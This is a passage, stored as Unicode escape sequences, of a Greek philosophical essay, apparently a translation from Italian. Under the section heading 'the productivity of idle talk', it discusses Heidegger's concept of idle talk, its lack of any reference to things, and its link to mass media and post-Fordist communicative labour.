\u03b4\u03b9\u03b1\u03b2\u03bb\u03ad\u03c8\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03c0\u03b5\u03c1\u03af\u03b3\u03c1\u03b1\u03bc\u03bc\u03b1 \u03bc\u03b9\u03b1\u03c2 \u03bd\u03ad\u03b1\u03c2 \u03b4\u03b7\u03bc\u03cc\u03c3\u03b9\u03b1\u03c2 \u03c3\u03c6\u03b1\u03af\u03c1\u03b1\u03c2, \u03b1\u03c1\u03ba\u03b5\u03c4\u03ac\n\u03b4\u03b9\u03b1\u03c6\u03bf\u03c1\u03b5\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03c4\u03c9\u03c1\u03b9\u03bd\u03ae, \u03b1\u03c5\u03c4\u03ae\u03bd \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bc\u03c0\u03af\u03c0\u03c4\u03b5\u03b9 \u03bc\u03b5 \u03c4\u03bf\u03c5\u03c2 \u03b4\u03b9\u03bf\u03b9\u03ba\u03b7\u03c4\u03b9\u03ba\u03bf\u03cd\u03c2\n\u03bc\u03b7\u03c7\u03b1\u03bd\u03b9\u03c3\u03bc\u03bf\u03cd\u03c2 \u03c4\u03bf\u03c5 \u03ba\u03c1\u03ac\u03c4\u03bf\u03c5\u03c2; \u0391\u03ba\u03cc\u03bc\u03b7 \u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03bf: \u03b5\u03af\u03bd\u03b1\u03b9 \u03ac\u03c1\u03b1\u03b3\u03b5 \u03b1\u03bb\u03ae\u03b8\u03b5\u03b9\u03b1 \u03cc\u03c4\u03b9 \u03b7\n\u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03b7 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1 \u03c0\u03b1\u03c1\u03b1\u03bc\u03ad\u03bd\u03bf\u03c5\u03bd \u03b1\u03c5\u03c3\u03c4\u03b7\u03c1\u03ac \u03b5\u03ba\u03c4\u03cc\u03c2 \u03c4\u03c9\u03bd \u03bf\u03c1\u03af\u03c9\u03bd \u03c4\u03b7\u03c2 \u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1\u03c2,\n\u03c3\u03c4\u03bf \u03c7\u03c1\u03cc\u03bd\u03bf \u03c4\u03bf\u03c5 \u03c1\u03b5\u03bc\u03b2\u03b1\u03c3\u03bc\u03bf\u03cd \u03ba\u03b1\u03b9 \u03c4\u03b7\u03c2 \u03b1\u03b4\u03c1\u03ac\u03bd\u03b5\u03b9\u03b1\u03c2; \u039c\u03ae\u03c0\u03c9\u03c2 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03b1\u03bd\u03c4\u03af\u03b8\u03b5\u03c4\u03b1 \u03bd\u03b1\n\u03c5\u03c0\u03bf\u03b8\u03ad\u03c3\u03bf\u03c5\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03b1\u03c5\u03c4\u03ad\u03c2 \u03bf\u03b9 \u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2 \u03ad\u03c7\u03bf\u03c5\u03bd \u03b3\u03af\u03bd\u03b5\u03b9 \u03bf \u03ac\u03be\u03bf\u03bd\u03b1\u03c2 \u03c4\u03b7\u03c2 \u03c3\u03cd\u03b3\u03c7\u03c1\u03bf\u03bd\u03b7\u03c2\n\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2, \u03c4\u03b7\u03c2 \u03b1\u03c0\u03bf\u03ba\u03b1\u03bb\u03bf\u03cd\u03bc\u03b5\u03bd\u03b7\u03c2 \u03bc\u03b5\u03c4\u03b1\u03c6\u03bf\u03c1\u03bd\u03c4\u03b9\u03ba\u03ae\u03c2 \u03ae \u03ac\u03c5\u03bb\u03b7\u03c2, \u03c3\u03c4\u03b7\u03bd \u03bf\u03c0\u03bf\u03af\u03b1 \u03ba\u03c5\u03c1\u03b9\u03b1\u03c1\u03c7\u03b5\u03af\n\u03c4\u03bf \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03b1\u03ba\u03cc \u03c0\u03c1\u03ac\u03c4\u03c4\u03b5\u03b9\u03bd \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bf\u03ba\u03c4\u03ac \u03bc\u03ad\u03b3\u03b9\u03c3\u03c4\u03b7 \u03b1\u03be\u03af\u03b1 \u03b7 \u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bd\u03b1 \u03c4\u03b1\n\u03b2\u03b3\u03ac\u03b6\u03b5\u03b9\u03c2 \u03c0\u03ad\u03c1\u03b1 \u03bc\u03ad\u03c3\u03b1 \u03c3\u03b5 \u03b4\u03b9\u03b1\u03c1\u03ba\u03b5\u03af\u03c2 \u03ba\u03b1\u03b9\u03bd\u03bf\u03c4\u03bf\u03bc\u03af\u03b5\u03c2;\n\n3. \u03a0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c4\u03b7\u03c2 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1\u03c2\n\n\u0397 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03bc\u03b1\u03c1\u03c4\u03c5\u03c1\u03b5\u03af \u03c4\u03bf\u03bd \u03c0\u03c1\u03bf\u03b5\u03be\u03ac\u03c1\u03c7\u03bf\u03bd\u03c4\u03b1 \u03c1\u03cc\u03bb\u03bf \u03c4\u03b7\u03c2 \u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03ba\u03ae\u03c2 \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1\u03c2, \u03c4\u03b7\u03c2\n\u03b1\u03bd\u03b5\u03be\u03b1\u03c1\u03c4\u03b7\u03c3\u03af\u03b1\u03c2 \u03c4\u03b7\u03c2 \u03b1\u03c0\u03cc \u03ba\u03ac\u03b8\u03b5 \u03b4\u03b5\u03c3\u03bc\u03cc \u03ae \u03c0\u03c1\u03bf\u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf, \u03c4\u03b7\u03bd \u03c0\u03bb\u03ae\u03c1\u03b7 \u03b1\u03c5\u03c4\u03bf\u03bd\u03bf\u03bc\u03af\u03b1 \u03c4\u03b7\u03c2:\n\u03b1\u03c5\u03c4\u03bf\u03bd\u03bf\u03bc\u03af\u03b1 \u03b1\u03c0\u03cc \u03c0\u03c1\u03bf\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2 \u03c3\u03ba\u03bf\u03c0\u03bf\u03cd\u03c2, \u03b1\u03c0\u03cc \u03c3\u03b1\u03c6\u03ce\u03c2 \u03c0\u03b5\u03c1\u03b9\u03b3\u03b5\u03b3\u03c1\u03b1\u03bc\u03bc\u03ad\u03bd\u03b5\u03c2\n\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b5\u03c2, \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03c5\u03c0\u03bf\u03c7\u03c1\u03ad\u03c9\u03c3\u03b7 \u03c0\u03b9\u03c3\u03c4\u03ae\u03c2 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2. \u03a3\u03c4\u03b7\n\u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1, \u03b5\u03be\u03b1\u03c3\u03b8\u03b5\u03bd\u03b5\u03af \u03ba\u03c1\u03b1\u03c5\u03b3\u03b1\u03bb\u03ad\u03b1 \u03b7 \u03ba\u03b1\u03c4\u03b1\u03b4\u03b7\u03bb\u03c9\u03c4\u03b9\u03ba\u03ae \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03af\u03b1 \u03bc\u03b5\u03c4\u03b1\u03be\u03cd \u03bb\u03ad\u03be\u03b5\u03c9\u03bd \u03ba\u03b1\u03b9\n\u03c0\u03c1\u03b1\u03b3\u03bc\u03ac\u03c4\u03c9\u03bd. \u039f \u03bb\u03cc\u03b3\u03bf\u03c2 \u03b4\u03b5\u03bd \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af \u03c0\u03bb\u03ad\u03bf\u03bd \u03bc\u03b9\u03b1 \u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03ae \u03bd\u03bf\u03bc\u03b9\u03bc\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7, \u03c4\u03b7\u03bd \u03bf\u03c0\u03bf\u03af\u03b1\n\u03bd\u03b1 \u03c4\u03bf\u03c5 \u03c0\u03b1\u03c1\u03ad\u03c7\u03bf\u03c5\u03bd \u03c4\u03b1 \u03c3\u03c5\u03bc\u03b2\u03ac\u03bd\u03c4\u03b1 \u03c3\u03c4\u03b1 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b1\u03bd\u03b1\u03c6\u03ad\u03c1\u03b5\u03c4\u03b1\u03b9. \u0391\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03af \u03ae\u03b4\u03b7 \u03b1\u03c5\u03c4\u03cc\u03c2 \u03bf\n\u03af\u03b4\u03b9\u03bf\u03c2 \u03ad\u03bd\u03b1 \u03c3\u03c5\u03bc\u03b2\u03ac\u03bd, \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03b4\u03b9\u03ba\u03b1\u03b9\u03bf\u03bb\u03bf\u03b3\u03b5\u03af\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03bc\u03cc\u03bd\u03bf \u03c4\u03bf \u03b3\u03b5\u03b3\u03bf\u03bd\u03cc\u03c2 \u03cc\u03c4\u03b9\n\u03c3\u03c5\u03bc\u03b2\u03b1\u03af\u03bd\u03b5\u03b9. \u0393\u03c1\u03ac\u03c6\u03b5\u03b9 \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1: \u00ab\u0394\u03c5\u03bd\u03ac\u03bc\u03b5\u03b9 \u03c4\u03b7\u03c2 \u03bc\u03ad\u03c3\u03b7\u03c2 \u03ba\u03b1\u03c4\u03b1\u03bd\u03cc\u03b7\u03c3\u03b7\u03c2 \u03c0\u03bf\u03c5 \u03b7\n\u03b5\u03ba\u03c6\u03c1\u03b1\u03c3\u03bc\u03ad\u03bd\u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1 \u03c6\u03ad\u03c1\u03b5\u03b9 \u03bc\u03b1\u03b6\u03af \u03c4\u03b7\u03c2, \u03bf \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03ce\u03bd \u03bb\u03cc\u03b3\u03bf\u03c2 [...] \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1\n\u03b3\u03af\u03bd\u03b5\u03b9 \u03ba\u03b1\u03c4\u03b1\u03bd\u03bf\u03b7\u03c4\u03cc\u03c2 \u03ba\u03b1\u03b9 \u03c7\u03c9\u03c1\u03af\u03c2 \u03b5\u03ba\u03b5\u03af\u03bd\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03b1\u03ba\u03bf\u03cd\u03b5\u03b9 \u03bd\u03b1 \u03c4\u03bf\u03c0\u03bf\u03b8\u03b5\u03c4\u03b5\u03af\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7\u03bd \u03b1\u03c1\u03c7\u03b9\u03ba\u03ae\n\u03ba\u03b1\u03c4\u03b1\u03bd\u03cc\u03b7\u03c3\u03b7 \u03b1\u03c5\u03c4\u03bf\u03cd, \u03b3\u03b9\u03b1 \u03c4\u03bf \u03bf\u03c0\u03bf\u03af\u03bf \u03bf\u03bc\u03b9\u03bb\u03b5\u03af \u03bf \u03bb\u03cc\u03b3\u03bf\u03c2\u00bb. K\u03b1\u03b9 \u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9: \u00ab\u03b7 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1\n\u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03b4\u03c5\u03bd\u03b1\u03c4\u03cc\u03c4\u03b7\u03c4\u03b1 \u03bd\u03b1 \u03c4\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bd\u03bf\u03b5\u03af\u03c2 \u03cc\u03bb\u03b1 \u03c7\u03c9\u03c1\u03af\u03c2 \u03ba\u03b1\u03bc\u03af\u03b1 \u03c0\u03c1\u03bf\u03ba\u03b1\u03c4\u03b1\u03c1\u03ba\u03c4\u03b9\u03ba\u03ae\n\u03b9\u03b4\u03b9\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03c0\u03c1\u03ac\u03b3\u03bc\u03b1\u03c4\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03ba\u03b1\u03c4\u03b1\u03bd\u03bf\u03b5\u03af\u03c4\u03b1\u03b9\u00bb. \u0393\u03b9\u03b1 \u03c4\u03bf\u03bd \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1, \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03bc\u03b9\u03b1\n\u03c3\u03c4\u03b5\u03bd\u03ae \u03c3\u03c5\u03b3\u03b3\u03ad\u03bd\u03b5\u03b9\u03b1 \u03bc\u03b5\u03c4\u03b1\u03be\u03cd \u03c4\u03bf\u03c5 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03bf\u03cd \u00ab\u03b5\u03af\u03bd\u03b1\u03b9 \u03b5\u03bd \u03ba\u03cc\u03c3\u03bc\u03c9\u00bb, \u03c0\u03ac\u03bd\u03c4\u03bf\u03c4\u03b5\n\u03c0\u03bf\u03bb\u03c5\u03ac\u03c3\u03c7\u03bf\u03bb\u03bf\u03c5 \u03ba\u03b1\u03b9 \u03b5\u03c1\u03b3\u03ce\u03b4\u03bf\u03c5\u03c2, \u03ba\u03b1\u03b9 \u03c4\u03b7\u03c2 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03ae\u03c2 \u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2. \u03a4\u03bf \u03c3\u03b7\u03bc\u03b5\u03af\u03bf\n\u03ba\u03b1\u03c4\u03b1\u03b4\u03b7\u03bb\u03ce\u03bd\u03b5\u03b9 \u03c4\u03bf\u03bd \u03ba\u03cc\u03c3\u03bc\u03bf \u03c9\u03c2 \u03ad\u03bd\u03b1 \u03c3\u03cd\u03bd\u03bf\u03bb\u03bf \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ae\u03c3\u03b9\u03bc\u03c9\u03bd \u03bc\u03ad\u03c3\u03c9\u03bd\u00b7 \u03bf \u03bb\u03cc\u03b3\u03bf\u03c2\n[discorso] \u03b1\u03c6\u03bf\u03c1\u03ac, \u03ba\u03b1\u03c4\u03ac \u03ba\u03b1\u03bd\u03cc\u03bd\u03b1, \u03ba\u03ac\u03c4\u03b9 \u03c0\u03bf\u03c5 \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af \u03bc\u03b9\u03b1 \u03c3\u03bf\u03b2\u03b1\u03c1\u03ae \u03ba\u03b1\u03b9 \u03b5\u03c0\u03b9\u03bc\u03b5\u03bb\u03ae\n\u03b5\u03bd\u03b1\u03c3\u03c7\u03cc\u03bb\u03b7\u03c3\u03b7. \u039c\u03cc\u03bd\u03bf \u03cc\u03c4\u03b1\u03bd \u03c5\u03c0\u03b5\u03c1\u03b9\u03c3\u03c7\u03cd\u03b5\u03b9 \u03b7 \u03bc\u03b7 \u03b1\u03c5\u03b8\u03b5\u03bd\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c4\u03b7\u03c2 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1\u03c2, \u03b7 \u03b3\u03bb\u03ce\u03c3\u03c3\u03b1\n\u03c0\u03b1\u03cd\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03c0\u03b9\u03c4\u03b5\u03bb\u03b5\u03af \u03c4\u03bf \u03ad\u03c1\u03b3\u03bf \u03c4\u03b7\u03c2, \u03c0\u03bf\u03c5 \u03c3\u03c5\u03bd\u03af\u03c3\u03c4\u03b1\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7 \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03b9\u03ba\u03ae \u03b1\u03bd\u03c4\u03b1\u03bd\u03ac\u03ba\u03bb\u03b1\u03c3\u03b7\n\u03c5\u03c6\u03b9\u03c3\u03c4\u03ac\u03bc\u03b5\u03bd\u03c9\u03bd \u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03c0\u03c1\u03b1\u03b3\u03bc\u03ac\u03c4\u03c9\u03bd, \u03ba\u03b1\u03b9 \u03b1\u03c0\u03bf\u03ba\u03b1\u03bb\u03cd\u03c0\u03c4\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03b9\u03b4\u03b9\u03bf\u03c3\u03c5\u03c3\u03c4\u03b1\u03c3\u03af\u03b1\n\u03ba\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03b1\u03c3\u03c4\u03b9\u03ba\u03ae \u03ba\u03b1\u03b9 \u03b1\u03c5\u03b8\u03b1\u03af\u03c1\u03b5\u03c4\u03b7. \u0389, \u03c5\u03c0\u03cc \u03c4\u03b7 \u03bc\u03bf\u03c1\u03c6\u03ae \u03b5\u03bd\u03cc\u03c2 \u03b5\u03c5\u03c6\u03c5\u03bf\u03bb\u03bf\u03b3\u03ae\u03bc\u03b1\u03c4\u03bf\u03c2: \u03bc\u03cc\u03bd\u03bf\n\u03c3\u03c4\u03b7\u03bd \u03b1\u03bd\u03ce\u03bd\u03c5\u03bc\u03b7 \u03ba\u03b1\u03b9 \u03ba\u03bf\u03b9\u03bd\u03cc\u03c4\u03bf\u03c0\u03b7 \u03b1\u03b3\u03cc\u03c1\u03b5\u03c5\u03c3\u03b7 \u03c4\u03bf\u03c5 \u00ab\u03c4\u03b9\u03c2\u00bb \u03b1\u03c0\u03bf\u03ba\u03c4\u03bf\u03cd\u03bd \u03bc\u03b9\u03b1 \u03b5\u03bd\u03bf\u03c1\u03b1\u03c4\u03b9\u03ba\u03ae\n\u03c0\u03c1\u03bf\u03c6\u03ac\u03bd\u03b5\u03b9\u03b1 \u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2 \u03b8\u03ad\u03c3\u03b5\u03b9\u03c2 \u03c4\u03bf\u03c5 \u03a3\u03c9\u03c3\u03c3\u03cd\u03c1 \u03ba\u03b1\u03b9 \u03c4\u03bf\u03c5 \u03a0\u03b9\u03b1\u03b6\u03ad. \u0397 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03b4\u03b9\u03b1\u03c8\u03b5\u03cd\u03b4\u03b5\u03b9\n\u03ba\u03b1\u03b9 \u03ba\u03b1\u03c4\u03b1\u03c1\u03c1\u03af\u03c0\u03c4\u03b5\u03b9 \u03c4\u03bf \u03c0\u03b1\u03c1\u03ac\u03b4\u03b5\u03b9\u03b3\u03bc\u03b1 [paradigma] \u03c4\u03b7\u03c2 \u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2. \u0397 \u03ba\u03c1\u03af\u03c3\u03b7 \u03c4\u03bf\u03c5\n\u03c0\u03b1\u03c1\u03b1\u03b4\u03b5\u03af\u03b3\u03bc\u03b1\u03c4\u03bf\u03c2 \u03b1\u03c5\u03c4\u03bf\u03cd \u03b2\u03c1\u03af\u03c3\u03ba\u03b5\u03c4\u03b1\u03b9 \u03c3\u03c4\u03b7 \u03c1\u03af\u03b6\u03b1 \u03c4\u03c9\u03bd MME (\u03ba\u03b1\u03b9 \u03c4\u03b7\u03c2 \u03c0\u03bf\u03bb\u03b9\u03c4\u03b9\u03c3\u03c4\u03b9\u03ba\u03ae\u03c2\n\u03b2\u03b9\u03bf\u03bc\u03b7\u03c7\u03b1\u03bd\u03af\u03b1\u03c2 \u03c3\u03c4\u03bf \u03c3\u03cd\u03bd\u03bf\u03bb\u03cc \u03c4\u03b7\u03c2). \u0391\u03c6\u03bf\u03cd \u03bf\u03b9 \u03b1\u03c0\u03bf\u03c6\u03ac\u03bd\u03c3\u03b5\u03b9\u03c2 \u03c7\u03b5\u03b9\u03c1\u03b1\u03c6\u03b5\u03c4\u03bf\u03cd\u03bd\u03c4\u03b1\u03b9 \u03b1\u03c0\u03cc \u03c4\u03bf\n\u03b2\u03ac\u03c1\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03b5\u03c5\u03b8\u03cd\u03bd\u03b7\u03c2 \u03bd\u03b1 \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf\u03cd\u03bd \u03c3\u03b7\u03bc\u03b5\u03af\u03bf \u03c0\u03c1\u03bf\u03c2 \u03c3\u03b7\u03bc\u03b5\u03af\u03bf \u03c0\u03c1\u03bf\u03c2 \u03c4\u03bf \u03bc\u03b7 \u03b3\u03bb\u03c9\u03c3\u03c3\u03b9\u03ba\u03cc\n\u03ba\u03cc\u03c3\u03bc\u03bf, \u03b1\u03c5\u03c4\u03cc \u03ad\u03c7\u03b5\u03b9 \u03c9\u03c2 \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03bd\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bd \u03bd\u03b1 \u03c0\u03bf\u03bb\u03bb\u03b1\u03c0\u03bb\u03b1\u03c3\u03b9\u03ac\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9 \u03b5\u03c0'\n\u03ac\u03c0\u03b5\u03b9\u03c1\u03bf\u03bd, \u03b3\u03b5\u03bd\u03bd\u03ce\u03bd\u03c4\u03b1\u03c2 \u03b7 \u03bc\u03b9\u03b1 \u03c4\u03b7\u03bd \u03ac\u03bb\u03bb\u03b7. \u0393\u03c1\u03ac\u03c6\u03b5\u03b9 \u03bf \u03a7\u03ac\u03b9\u03bd\u03c4\u03b5\u03b3\u03ba\u03b5\u03c1: \u00ab\u0391\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03b5\u03c0\u03b5\u03b9\u03b4\u03ae \u03bf\n\u03bb\u03cc\u03b3\u03bf\u03c2 \u03b1\u03c0\u03ce\u03bb\u03b5\u03c3\u03b5, \u03ae \u03c0\u03bf\u03c4\u03ad \u03b4\u03b5\u03bd \u03b1\u03c0\u03ad\u03ba\u03c4\u03b7\u03c3\u03b5, \u03c4\u03b7\u03bd \u03b1\u03c1\u03c7\u03b9\u03ba\u03ae \u03c3\u03c7\u03ad\u03c3\u03b7 \u03bc\u03b5 \u03c4\u03bf \u03bf\u03bd \u03c0\u03b5\u03c1\u03af \u03c4\u03bf\u03c5\n\u03bf\u03c0\u03bf\u03af\u03bf\u03c5 \u03bf\u03bc\u03b9\u03bb\u03b5\u03af\u00bb, \u03b1\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03bc\u03b5\u03c4\u03c1\u03ac \u03b5\u03af\u03bd\u03b1\u03b9 \u00ab\u03b7 \u03b4\u03b9\u03ac\u03b4\u03bf\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03b7 \u03b5\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7 \u03c4\u03bf\u03c5 \u03bb\u03cc\u03b3\u03bf\u03c5\n\u03ba\u03b1\u03b8\u03b5\u03b1\u03c5\u03c4\u03bf\u03cd\u00bb. \u0394\u03b9\u03ac\u03b4\u03bf\u03c3\u03b7 \u03ba\u03b1\u03b9 \u03b5\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7: \u03b4\u03c1\u03b1\u03c3\u03c4\u03b7\u03c1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2, \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2, \u03c0\u03bf\u03c5\n\u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03b7\u03c1\u03af\u03b6\u03bf\u03c5\u03bd \u03ba\u03b1\u03c4\u03b5\u03be\u03bf\u03c7\u03ae\u03bd \u03c4\u03b1 \u039c\u039c\u0395. \u0397 \u03c6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1, \u03ba\u03b1\u03b8\u03ce\u03c2 \u03c3\u03c4\u03b5\u03c1\u03b5\u03af\u03c4\u03b1\u03b9 \u03bc\u03b9\u03b1\u03c2 \u03b5\u03be\u03c9\u03b3\u03b5\u03bd\u03bf\u03cd\u03c2\n\u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac\u03c2, \u03b5\u03af\u03bd\u03b1\u03b9 \u03b1\u03b8\u03b5\u03bc\u03b5\u03bb\u03af\u03c9\u03c4\u03b7. \u0391\u03c5\u03c4\u03ae \u03b7 \u03b1\u03c0\u03bf\u03c5\u03c3\u03af\u03b1 \u03b8\u03b5\u03bc\u03b5\u03bb\u03af\u03bf\u03c5 \u03b5\u03be\u03b7\u03b3\u03b5\u03af \u03c4\u03bf\u03bd \u03b1\u03c3\u03c4\u03b1\u03b8\u03ae, \u03ba\u03b1\u03b9\n\u03b5\u03bd\u03af\u03bf\u03c4\u03b5 \u03ba\u03b5\u03bd\u03cc, \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1 \u03c4\u03ae\u03c2 \u03ba\u03b1\u03b8\u03b7\u03bc\u03b5\u03c1\u03b9\u03bd\u03ae\u03c2 \u03b4\u03b9\u03ac\u03b4\u03c1\u03b1\u03c3\u03b7\u03c2\u00b7 \u03b5\u03be\u03b7\u03b3\u03b5\u03af \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7\u03bd\n\u03b1\u03af\u03c3\u03b8\u03b7\u03c3\u03b7 \u03ad\u03bd\u03b4\u03b5\u03b9\u03b1\u03c2 \u03c0\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03b5\u03af\u03c4\u03b1\u03b9 \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03cc\u03c4\u03b1\u03bd \u03b2\u03c1\u03b9\u03c3\u03ba\u03cc\u03bc\u03b1\u03c3\u03c4\u03b5 \u03c3\u03c4\u03bf \u03ba\u03ad\u03bd\u03c4\u03c1\u03bf\n\u03c0\u03bf\u03bb\u03bb\u03b1\u03c0\u03bb\u03ce\u03bd \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03b9\u03b1\u03ba\u03ce\u03bd \u03c1\u03bf\u03ce\u03bd. \u03a9\u03c3\u03c4\u03cc\u03c3\u03bf, \u03b7 \u03af\u03b4\u03b9\u03b1 \u03b1\u03c0\u03bf\u03c5\u03c3\u03af\u03b1 \u03b8\u03b5\u03bc\u03b5\u03bb\u03af\u03bf\u03c5 \u03b5\u03c0\u03b9\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9\n\u03b1\u03bd\u03ac \u03c0\u03ac\u03c3\u03b1 \u03c3\u03c4\u03b9\u03b3\u03bc\u03ae \u03c4\u03bf\u03bd \u03c0\u03b5\u03b9\u03c1\u03b1\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03cc \u03ba\u03b1\u03b9 \u03c4\u03b7\u03bd \u03b5\u03c0\u03b9\u03bd\u03cc\u03b7\u03c3\u03b7 \u03bd\u03ad\u03c9\u03bd \u03bb\u03cc\u03b3\u03c9\u03bd. \u0395\u03bd \u03bf\u03bb\u03af\u03b3\u03bf\u03b9\u03c2:\n\u03b1\u03bd \u03b7 \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1 \u03b4\u03b5\u03bd \u03b4\u03b9\u03b1\u03b2\u03b9\u03b2\u03ac\u03b6\u03b5\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd \u03b5\u03bc\u03c0\u03b5\u03b9\u03c1\u03af\u03b5\u03c2 \u03ac\u03be\u03b9\u03b5\u03c2 \u03bb\u03cc\u03b3\u03bf\u03c5, \u03c3\u03c5\u03bd\u03b9\u03c3\u03c4\u03ac \u03cc\u03bc\u03c9\u03c2\n\u03c4\u03bf \u03b5\u03bd\u03b4\u03b5\u03b4\u03b5\u03b9\u03b3\u03bc\u03ad\u03bd\u03bf \u03cc\u03c1\u03b3\u03b1\u03bd\u03bf \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03b7\u03b8\u03bf\u03cd\u03bd \u03ac\u03bb\u03bb\u03b5\u03c2, \u03ba\u03b1\u03b9\u03bd\u03bf\u03c6\u03b1\u03bd\u03b5\u03af\u03c2 